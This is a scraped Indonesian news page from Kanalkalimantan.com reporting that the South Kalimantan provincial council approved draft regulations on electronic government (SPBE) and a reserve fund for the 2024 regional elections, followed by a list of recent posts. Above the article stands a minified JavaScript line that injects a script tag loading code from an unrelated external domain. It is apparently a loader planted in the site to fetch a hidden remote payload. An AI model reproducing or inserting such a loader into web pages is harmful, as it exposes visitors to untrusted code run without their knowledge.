(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dewan Setujui Raperda SPBE dan Dana Cadangan Pilkada 2024


KANALKALIMANTAN.COM, BANJARMASIN – Seluruh Fraksi DPRD Kalsel memberikan persetujuan terkait Rancangan Peraturan Daerah (Raperda) Penyelenggaraan Sistem Pemerintah Berbasis Elektronik (SPBE) dan Raperda Pembentukan Dana Cadangan Pilkada 2024 untuk ditetapkan menjadi Peraturan Daerah (Perda).

Hal itu terungkap dalam Rapat Paripurna DPRD Kalsel di Ruang Rapat H Mansyah, Kamis (22/7/21). Raperda mengenai dana cadangan Pilkada 2024 khususnya, merupakan usul Pemprov Kalsel.

Sebelumnya, Senin (19/7/21), Pj Gubernur Kalsel Safrizal ZA, menjelaskan Kalsel akan melaksanakan Pemilihan Kepala Daerah dan Wakil Kepala Daerah secara serentak pada tahun 2024. Hal demikian membutuhkan alokasi anggaran yang cukup besar, sehingga perlu persiapan mekanisme dana cadangan.

Menanggapi Raperda tersebut, seluruh Fraksi DPRD Kalsel menyatakan dukungannya. Perwakilan dari Partai Kebangkitan Bangsa, Suripno Sumas, juga menyampaikan beberapa saran.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Tembus 650 Orang, Banjarmasin Sumbang 245 Kasus!

“Jumlah yang dianggarkan harus proporsional sehingga tidak menimbulkan beban yang terlalu besar bagi APBD,” paparnya.

Terkait Raperda SPBE Aris Gunawan, perwakilan dari Partai Gerindra turut mengungkapkan dukungannya.

“Kami menyambut baik untuk dilaksanakan prinsip good governance,” ucapnya.

Sekdaprov Kalsel Roy Rizali Anwar, hadir mewakili Pj Gubernur Kalsel Safrizal ZA. Dalam rapat tersebut, juga disampaikan pendapat gubernur terhadap Raperda Manajemen Jalan dan Fasilitas Pendidikan Tinggi.

Menurut Roy Rizali, jika menyangkut kewenangan pemerintah pusat, maka arahan pemerintah pusat sangat diperlukan.

“Agar pada saat kedua Raperda ini ditetapkan menjadi Perda, benar-benar implementatif. Serta tidak menimbulkan tumpang tindih pengaturan dengan kebijakan pusat,” jelasnya.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

3 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

3 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

4 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

4 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

5 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

6 jam ago

This website uses cookies.